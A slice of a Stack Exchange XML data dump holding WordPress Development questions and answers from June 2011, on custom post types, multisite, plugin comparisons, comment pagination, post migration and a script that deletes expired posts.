  <row Id="20499" PostTypeId="1" CreationDate="2011-06-20T14:15:10.363" Score="0" ViewCount="94" Body="&lt;p&gt;how can I set a default term for my custom post types? I mean, just like the default category for Posts? So that allways a Custom Post has a term assigned?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards, .wired&lt;/p&gt;&#xA;" OwnerUserId="5328" LastActivityDate="2011-08-31T06:57:45.413" Title="Set default term for Custom Post Types?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;terms&gt;" AnswerCount="0" CommentCount="7" FavoriteCount="1" />
  <row Id="20500" PostTypeId="2" ParentId="20494" CreationDate="2011-06-20T14:20:46.977" Score="-1" ViewCount="" Body="&lt;p&gt;If I remember correctly Contact Form 7 has the option to redirect to a success-page after the visitor clicks the submit-button. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you would have to make sure to hide that particular success-page from the rest of the site, in order to prevent people &quot;accidentally&quot; reaching that page, you could use that as a setup, as the only way reaching the success-page is after a successful form submission.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-20T14:20:46.977" />
  <row Id="20501" PostTypeId="2" ParentId="20497" CreationDate="2011-06-20T14:32:05.307" Score="1" ViewCount="" Body="&lt;p&gt;I would suggest you have a second look into BuddyPress and you'll find that your requirements are matched. The awesomeness of BuddyPress means you can have plugins that extend BudyPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your requirement:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would like users to be able to post&#xA;  photos, arrange them in&#xA;  galleries/albums, comment/tag them,&#xA;  complete other custom fields relating&#xA;  to the photos - and, CRUCIALLY, be&#xA;  able to mark them as public, private&#xA;  or friend.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;a href=&quot;http://buddypress.org/community/groups/bp-album/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress Media&lt;/a&gt; with the &lt;a href=&quot;http://buddypress.org/community/groups/bp-privacy/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress Privacy Component&lt;/a&gt; plugins.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;More advanced membership handling&#xA;  (including membership levels and&#xA;  payment options) would be desirable. I&#xA;  know there are several membership&#xA;  plugins that I could hopefully bring&#xA;  it or customize.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;a href=&quot;http://buddypress.org/community/groups/s2member/&quot; rel=&quot;nofollow&quot;&gt;s2Member&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer: I have not used these plugins in combinations and could not guarantee that they'll work out of the box. But with little/some modification you would be able to get it all working.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-06-20T14:32:05.307" CommentCount="1" />
  <row Id="20502" PostTypeId="2" ParentId="20498" CreationDate="2011-06-20T14:49:37.663" Score="0" ViewCount="" Body="&lt;p&gt;The simplest solution would be to put the audio player &lt;em&gt;after&lt;/em&gt; the read-more link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that would prove cumbersome (e.g. you've already got too may posts with audio players), you could try hooking into the &lt;code&gt;the_content&lt;/code&gt; filter, and remove the audio player if not on a single-post view. e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_remove_audio_player_from_home( $content ) {&#xA;    // is_singular() is true for &#xA;    // single posts, pages, and attachments&#xA;    if ( ! is_singular() ) {&#xA;        // do something, such as a str_replace() or &#xA;        // whatever else would be appropriate, to&#xA;        // filter out the audio player markup&#xA;    }&#xA;    return $content;&#xA;}&#xA;add_filter( 'the_content', 'mytheme_remove_audio_player_from_home' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-20T14:49:37.663" />
  <row Id="20503" PostTypeId="1" AcceptedAnswerId="20509" CreationDate="2011-06-20T15:07:52.453" Score="0" ViewCount="41" Body="&lt;p&gt;I've got several questions regarding WP multisite, hoping someone who's used it extensively can help:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it possible to manage several WP sites over several different domains?&lt;/li&gt;&#xA;&lt;li&gt;How can plugins be managed, some I'd like to use across all the sites but others I'd only like to use on certain sites. Also what happens to each of the plugin settings, are they rolled out across the board?&lt;/li&gt;&#xA;&lt;li&gt;Updating - how can this be managed per site for both the plugins and WP itself.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-06-20T15:48:00.647" Title="Multisite questions" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="20504" PostTypeId="1" CreationDate="2011-06-20T15:10:44.610" Score="0" ViewCount="47" Body="&lt;p&gt;I need to embed a Google Docs / Spreadsheet in one of my Wordpress posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this: &lt;a href=&quot;http://code.google.com/p/inline-google-docs/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/inline-google-docs/&lt;/a&gt; does not work with my WP 3.1.3 installation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just need something that is as easy as &quot;pasting&quot; the published URL for my Google Docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;W&lt;/p&gt;&#xA;" OwnerUserId="3892" LastActivityDate="2011-06-20T15:50:52.893" Title="Embed a Google Docs in Wordpress?" Tags="&lt;embed&gt;&lt;google-docs&gt;" AnswerCount="1" />
  <row Id="20505" PostTypeId="1" CreationDate="2011-06-20T15:18:19.803" Score="3" ViewCount="63" Body="&lt;p&gt;When you are in the dashboard, the options checked and unchecked in the &quot;Screen Options&quot; pane seem to me to be completely random and arbitrary and cause lots of confusion when something doesn't show up that you need that &quot;should&quot; be there but isn't. Is there some way to influence which of these options are checked, and make that stick for all users?&lt;/p&gt;&#xA;" OwnerUserId="5719" LastActivityDate="2011-08-20T17:32:41.883" Title="Make item checked by default for all users in &quot;Screen Options&quot; pane" Tags="&lt;screen-options&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="20506" PostTypeId="1" AcceptedAnswerId="21057" CreationDate="2011-06-20T15:21:54.107" Score="5" ViewCount="147" Body="&lt;p&gt;I have the default setting (IIRC) of 10 comments per page, and max nesting of 5 deep.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem (or at least, minor annoyance) is that replies to comments are not counted towards that maximum of ten per page. I can understand that you do not want to break a thread, and that should be avoided, but in my test case I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test10&#xA;- test10 2&#xA;- test10 3&#xA;- - test10 4&#xA;- - - test10 5&#xA;- - test10 6&#xA;- test10 7&#xA;- test10 8&#xA;- test10 9&#xA;test9&#xA;test8 (should be on a new page?)&#xA;test7&#xA;test6&#xA;test5&#xA;test4&#xA;test3&#xA;test2&#xA;test1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They all show on the same page. But in reality I want to break that after the test9 comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a funny feeling it's not going to be easy. Hopefully there will be a method just within the theme framework, but I'm not afraid to modify wordpress if needs be.&lt;/p&gt;&#xA;" OwnerUserId="6342" LastActivityDate="2011-06-25T21:45:04.370" Title="Nested comments ignored for max per page in wordpress" Tags="&lt;theme-development&gt;&lt;comments&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" />
  <row Id="20507" PostTypeId="2" ParentId="20505" CreationDate="2011-06-20T15:31:14.413" Score="1" ViewCount="" Body="&lt;p&gt;Possibly already answered here : &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15376/how-to-set-default-screen-options&quot;&gt;How to set default screen options?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-20T15:31:14.413" CommentCount="1" />
  <row Id="20508" PostTypeId="2" ParentId="20444" CreationDate="2011-06-20T15:45:07.153" Score="0" ViewCount="" Body="&lt;p&gt;You have a couple potential issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your version of WordPress and/or your current Theme does not support threaded comments.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;What version of WordPress are you using?&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;What Theme are you using?&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Something is interfering with comment display&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;What Plugins are you using, that might be interacting with comments?&lt;/em&gt; These would include anti-spam Plugins, security Plugins, comment-related Plugins, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-20T15:45:07.153" />
  <row Id="20509" PostTypeId="2" ParentId="20503" CreationDate="2011-06-20T15:48:00.647" Score="3" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes. Use the Domain Mapping Plugin.&lt;/li&gt;&#xA;&lt;li&gt;Plugins can be enabled network-wide, or on a per-site basis. You can choose whether or not to give site admins the capability to activate/deactivate Plugins. Plugin settings are on a per-site basis.&lt;/li&gt;&#xA;&lt;li&gt;The Network Administration handles updates to core, Plugins, and Themes, and automates updating the database tables for each network site, when applicable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-20T15:48:00.647" />
  <row Id="20510" PostTypeId="2" ParentId="20504" CreationDate="2011-06-20T15:50:52.893" Score="1" ViewCount="" Body="&lt;p&gt;Did you search the Plugin Repository?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's &lt;a href=&quot;http://wordpress.org/extend/plugins/inline-google-docs/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also &lt;a href=&quot;http://wordpress.org/extend/plugins/tags/google-docs&quot; rel=&quot;nofollow&quot;&gt;all of these&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-20T15:50:52.893" CommentCount="1" />
  <row Id="20513" PostTypeId="1" CreationDate="2011-06-20T16:06:51.403" Score="0" ViewCount="27" Body="&lt;p&gt;Does WP have any mechanism to handle bounced emails sent by &lt;code&gt;wp_mail()&lt;/code&gt;, or is this purely a server issue ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-20T16:06:51.403" ClosedDate="2011-06-23T08:21:18.787" Title="Is there a way to handle bounced emails in WP?" Tags="&lt;server&gt;&lt;wp-mail&gt;&lt;bounce&gt;" CommentCount="3" />
  <row Id="20514" PostTypeId="1" AcceptedAnswerId="20675" CreationDate="2011-06-20T16:11:28.147" Score="2" ViewCount="111" Body="&lt;p&gt;I have 3 custom post types each of these CPT's have posts that are set to auto delete via a given time scale by cron jobs, thing is when they are deleted it leaves behind orphaned taxonomy terms in dropdowns etc, needless to say when these are clicked it goes to a &quot;quack quack oops 404 error&quot;, i can find sql queries to run for orphaned tags, but there seems to be very little (infact i have found nothing at all) that pertains to taxonomy terms, anubody have any ideas on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More Info&lt;/strong&gt;&lt;br&gt;&#xA;All my terms are pre-assigned to the taxonomies and are listed in wp_terms table, the reason they are pre-assigned is that authors choose them from option menus when creating a new post, so all un-attached (un-used terms) still need to stay in the wp_terms table for later inclusion, the tables i need to be getting info from to run the delete query are wp_terms_taxonomy, wp_terms_relationships and wp_posts to look for a match of a NULL post id and thats the part what stumps me.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am showing the terms for selection via &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/D&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Scribus Query Multiple Taxonomies&lt;/strong&gt;&lt;/a&gt; plugin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;strong&gt;theDeadMedics&lt;/strong&gt; answer below im deducing that i can do something on the lines of:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;require_once 'wp-load.php';&#xA;&#xA;global $wpdb; &#xA;&#xA;$expireds = $wpdb-&amp;gt;get_results(&quot;SELECT ID, post_title FROM $wpdb-&amp;gt;posts WHERE post_type = 'sales' AND HOUR(TIMEDIFF(NOW(),  post_date_gmt)) &amp;gt;=4321&#xA;&quot;);&#xA;&#xA;foreach ($expireds as $expired) {&#xA;wp_delete_post( $post-&amp;gt;ID, true );&#xA;}&#xA;?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;LAST UPDATE&lt;/strong&gt;&lt;br&gt;&#xA;i see a couple of folks have set this as a favourite, below is a full working query that will delete time expired posts (and all meta associated with that post) set to a &quot;n&quot;th number of hours after post_date_gmt.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the code below &lt;code&gt;&amp;gt;=2&lt;/code&gt; denotes delete posts 1 hour old, the number of hours you wish to set for delete should always be plus 1.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;require_once 'wp-load.php';&#xA;&#xA;global $wpdb; &#xA;&#xA;$expireds = $wpdb-&amp;gt;get_results(&quot;SELECT ID, post_title FROM $wpdb-&amp;gt;posts WHERE post_type = 'sales' AND HOUR(TIMEDIFF(NOW(),  post_date_gmt)) &amp;gt;=1&quot;);&#xA;&#xA;foreach ($expireds as $post) {&#xA;wp_delete_post( $post-&amp;gt;ID, false );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-06-23T08:46:06.250" LastActivityDate="2011-06-23T08:46:06.250" Title="orphaned taxonomy terms remove by sql query" Tags="&lt;taxonomy&gt;&lt;query&gt;&lt;terms&gt;&lt;sql&gt;&lt;orphaned&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="20515" PostTypeId="2" ParentId="16418" CreationDate="2011-06-20T16:26:00.850" Score="0" ViewCount="" Body="&lt;p&gt;Hi Brady can I see an example of the geo location search you worked out? I have a similar (if not exact) for this too. I have 1,500+ posts that need to be search by visitors and Im having a hard time figuring out exactly how to do this.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-06-20T16:26:00.850" CommentCount="1" />
  <row Id="20516" PostTypeId="1" CreationDate="2011-06-20T16:30:48.930" Score="1" ViewCount="144" Body="&lt;p&gt;Has anyone come across any good reviews/comparisons of gravity forms and formidable pro? I am trying to find more information on both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a couple of sites that need several forms for adding items to our physical collections, leave requests and reserving specific rooms and resources and the like. I need something that will email form submissions as well as store entries in a database and which I can use to generate reports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any information or personal experience with either of these or other options would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4756" LastActivityDate="2011-06-20T17:26:45.423" Title="Comparing formidable pro and gravity forms" Tags="&lt;forms&gt;&lt;plugin-gravity-forms&gt;&lt;reporting&gt;" AnswerCount="2" />
  <row Id="20517" PostTypeId="1" CreationDate="2011-06-20T16:38:43.580" Score="1" ViewCount="43" Body="&lt;p&gt;I have 1,500+ posts that need to be searched by visitors and Im having a hard time figuring out exactly how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a geolocation plugin (GeoPosty), but there it doesn't come out of the box with this geolocation search and there's a lot of custom coding to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to do is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Automatically show posts based on the visitors location when they visit the site.&lt;/li&gt;&#xA;&lt;li&gt;Allow visitors to set the location [(City &amp;amp; State) or (Zip Code &amp;amp; Mile Radius) or Combination] for their search.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have imported all states and their cities as categories into my site. I would like to automatically set the visitors location equal to the corresponding category to show posts in that category (Example: If Miami location detected set home posts display to Miami category).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I will need log/lat coordinates for the post addresses (which I already have).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Challenge:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Inserting the log/lat coordinates of the addresses into designated post custom fields. Im not sure if I could somehow pull in the coordinates automatically or if its more a manual and time consuming procedure.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help on this matter. Thanks to anyone you can help me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a nice day!&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-06-20T16:38:43.580" Title="Geo location search for posts" Tags="&lt;posts&gt;&lt;post-meta&gt;&lt;geo-data&gt;&lt;location-search&gt;" FavoriteCount="2" />
  <row Id="20518" PostTypeId="1" CreationDate="2011-06-20T16:55:38.987" Score="1" ViewCount="106" Body="&lt;p&gt;This is a very open-ended, speculative question with lots of possible angles: has anyone worked with ways to restrict the access of certain uploads to a logged in user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e., how can the site admin upload files and assign permissions to each one for certain logged-in users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this entail an uploads directory called /this_user/ in wp-content/uploads/? And restrict access to that with .htaccess and is_logged_in? Or some kind of meta or custom field that assigns permissions and users for uploads?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other answers here on WPAnswers deal with hotlinking protection, which is a different situation; I need to restrict to logged in users, all on the same domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?  Thanks&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-06-21T14:55:33.950" LastActivityDate="2011-07-21T15:24:37.790" Title="Restrict access of admin uploads to certain logged-in users?" Tags="&lt;users&gt;&lt;uploads&gt;&lt;htaccess&gt;&lt;user-access&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20519" PostTypeId="2" ParentId="12713" CreationDate="2011-06-20T16:57:21.073" Score="2" ViewCount="" Body="&lt;p&gt;Let's say the original language of your site is english, then when visiting a german post you would return the title of the corresponding english post like that :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the post ID of original post&#xA;$original_ID = icl_object_id( $post-&amp;gt;ID, 'post', false, 'en' );&#xA;&#xA;// Get original post title&#xA;$original_title = get_the_title( $original_ID );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps, in any case check out the documentation for &lt;a href=&quot;http://wpml.org/documentation/support/creating-multilingual-wordpress-themes/language-dependent-ids/&quot; rel=&quot;nofollow&quot;&gt;icl_object_id();&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-20T16:57:21.073" />
  <row Id="20520" PostTypeId="2" ParentId="20253" CreationDate="2011-06-20T17:05:54.483" Score="0" ViewCount="" Body="&lt;p&gt;Although I have not tested a use case such as yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the trouble is with path to the images in the posts and other you can give &lt;a href=&quot;https://github.com/azizur/wordpress-oneclick-migration&quot; rel=&quot;nofollow&quot;&gt;WordPress OneClick Migration&lt;/a&gt; a try. It was designed with Database level migration but it should work. You may need to run it in forced mood. See the &lt;a href=&quot;https://github.com/azizur/wordpress-oneclick-migration/blob/master/README.md&quot; rel=&quot;nofollow&quot;&gt;Readme file&lt;/a&gt; for full details.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-06-20T17:05:54.483" CommentCount="1" />
  <row Id="20521" PostTypeId="2" ParentId="20516" CreationDate="2011-06-20T17:14:50.193" Score="1" ViewCount="" Body="&lt;p&gt;I've never used Formidable, but I used Gravity all the time and I can vouch that it is one of the most solid WordPress products I've ever used. I've stretched its limits many times. The only thing I'm not sure it has that you're looking for is reports. I saw that Formidable shows graphs for poll results -- Gravity doesn't have anything like that.&lt;/p&gt;&#xA;" OwnerUserId="3293" LastActivityDate="2011-06-20T17:14:50.193" />
  <row Id="20522" PostTypeId="1" AcceptedAnswerId="22331" CreationDate="2011-06-20T17:18:59.627" Score="1" ViewCount="68" Body="&lt;p&gt;I'm creating a website using Wordpress. Users are registering on it as &quot;Subscribers&quot;. When you register, you have a small panel with some custom info on it (that I made, creating a custom template)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each user shouldn't know other users exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started developing this without knowing if when registered users are available &quot;to the world&quot; (google indexing them, for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is user registration data is publicy available in a Wordpress installation, by some url, perhaps? Can Anonymous users see registered ones, or can Registered Ones see all others registered ones? Where I can get this information on wordpress docs? Are registered users on Wordpress supposed to be available to all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't get any information about this. Can someone help?&lt;/p&gt;&#xA;" OwnerUserId="1504" LastEditorUserId="1504" LastEditorDisplayName="" LastEditDate="2011-07-07T17:05:46.870" LastActivityDate="2011-07-07T18:35:28.570" Title="Is user listing on wordpress private?" Tags="&lt;user-access&gt;&lt;private&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20523" PostTypeId="2" ParentId="20232" CreationDate="2011-06-20T17:25:11.810" Score="1" ViewCount="" Body="&lt;p&gt;Installing the hotfix plugin may help to solve the problem. &lt;a href=&quot;http://wordpress.org/extend/plugins/hotfix/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/hotfix/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I am using wordpress3.1.3 and got same type errors while browsing the media(media list page) in admin panel and hotfix plugin solves that.&lt;/p&gt;&#xA;" OwnerUserId="6343" LastActivityDate="2011-06-20T17:25:11.810" />
  <row Id="20524" PostTypeId="2" ParentId="20516" CreationDate="2011-06-20T17:26:45.423" Score="1" ViewCount="" Body="&lt;p&gt;I've just begun using Gravity Forms but I've used Formidable quite a lot. My biggest complaints about Formidable is the way it handles upgrades. If you have a 'Pro' account, when an upgrade is available you have to go through a multi-step, not very intuitive upgrade process every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, so far Formidable has worked very well for me. It doesn't have all the 'extras' that Gravity Forms seems to offer, like MailChimp integration, but that hasn't been that big a deal. And, it's far cheaper in the long term with a one-time, unlimited license for $99 (when I bought). Gravity Forms makes you renew every year or lose support.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-06-20T17:26:45.423" />
  <row Id="20525" PostTypeId="2" ParentId="1777" CreationDate="2011-06-20T17:31:37.157" Score="0" ViewCount="" Body="&lt;p&gt;where &lt;code&gt;$post_id&lt;/code&gt; is the current post, this code will output all the attachments of a post, and their titles descriptions and captions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q = new WP_Query( array(&#xA;    'post_parent' =&amp;gt; $post_id,&#xA;    'post_type' =&amp;gt; 'attachment'&#xA;));&#xA;if($q-&amp;gt;have_posts()){&#xA;    while($q-&amp;gt;have_posts()){&#xA;        $q-&amp;gt;the_post();&#xA;        ?&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;?php&#xA;&#xA;        if ( wp_attachment_is_image( $post-&amp;gt;id ) ) {&#xA;            $att_image = wp_get_attachment_image_src( $post-&amp;gt;id, &quot;large&quot;);&#xA;            ?&amp;gt;&#xA;&amp;lt;img src=&quot;&amp;lt;?php echo $att_image[0];?&amp;gt;&quot; width=&quot;&amp;lt;?php echo $att_image[1];?&amp;gt;&quot; height=&quot;&amp;lt;?php echo $att_image[2];?&amp;gt;&quot;  class=&quot;attachment-large&quot; alt=&quot;&amp;lt;?php $post-&amp;gt;post_excerpt; ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;?php&#xA;        }&#xA;&#xA;        // caption&#xA;        the_excerpt();&#xA;&#xA;        // description&#xA;        the_content();&#xA;    }&#xA;}&#xA;wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Attachments are all children of the post they are attached to, and you can use this to do your own custom gallery code. They also have a lot of data in their custom fields, such as image dimensions, EXIF data, etc They can even be commented on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take the code from the inner loop and place it in attachment.php in your theme, just double check I haven't made any syntax typos before you do.&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2011-06-20T17:31:37.157" />
  <row Id="20526" PostTypeId="2" ParentId="20253" CreationDate="2011-06-20T18:20:32.480" Score="0" ViewCount="" Body="&lt;p&gt;Inside the current blog you want to move go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tools &gt; Export&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/DAket.png&quot; alt=&quot;Tools Export&quot;&gt;&lt;br&gt;&#xA;&lt;strong&gt;Select All Content&lt;/strong&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/Q3Ki9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;This will create a &lt;code&gt;.xml&lt;/code&gt; file with the name of the site and the date. &#xA;Next setup your single site install and then go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tools &gt; Import&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/DAket.png&quot; alt=&quot;Tools Import&quot;&gt;&lt;br&gt;&#xA;&lt;strong&gt;Choose WordPress&lt;/strong&gt; (you may need to install this)&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/SRJTa.png&quot; alt=&quot;Choose Wordpress&quot;&gt;&#xA;&lt;strong&gt;Choose All Content&lt;/strong&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/wZ1zz.png&quot; alt=&quot;Select All Content&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click continue it will show you a new page to map users or create new ones do what ever you want. Note that this will only work for people who have posted. Then make sure to tick the check box Download and import file attachments.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/rJMKw.png&quot; alt=&quot;Map Users And Download Attaments&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-20T18:20:32.480" />
  <row Id="20527" PostTypeId="1" AcceptedAnswerId="21944" CreationDate="2011-06-20T18:36:53.283" Score="2" ViewCount="127" Body="&lt;p&gt;Any ideas how to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this would work, but if there are threaded comments you get the wrong number, because pages with threaded comments have actually more comments than the &lt;code&gt;comments_per_page&lt;/code&gt; setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$c_page = get_query_var('cpage');&#xA;$c_per_page = get_query_var('comments_per_page');&#xA;&#xA;$number = ($c_page * $c_per_page) - $c_per_page + $current_c_index;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;code&gt;$current_c_index&lt;/code&gt; is a global variable storing comment count for the current page loop)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;em&gt;Later edit:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A partial solution is to extend the Walker_Comment class, do a clone of the paged_walk() function in which you increase the counter within the &lt;code&gt;$top_elements&lt;/code&gt; loop. But still that doesn't count child comments :(&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-07-04T00:33:57.630" LastActivityDate="2011-07-04T14:53:03.467" Title="Getting the comment number relative to all the post's comments" Tags="&lt;php&gt;&lt;comments&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
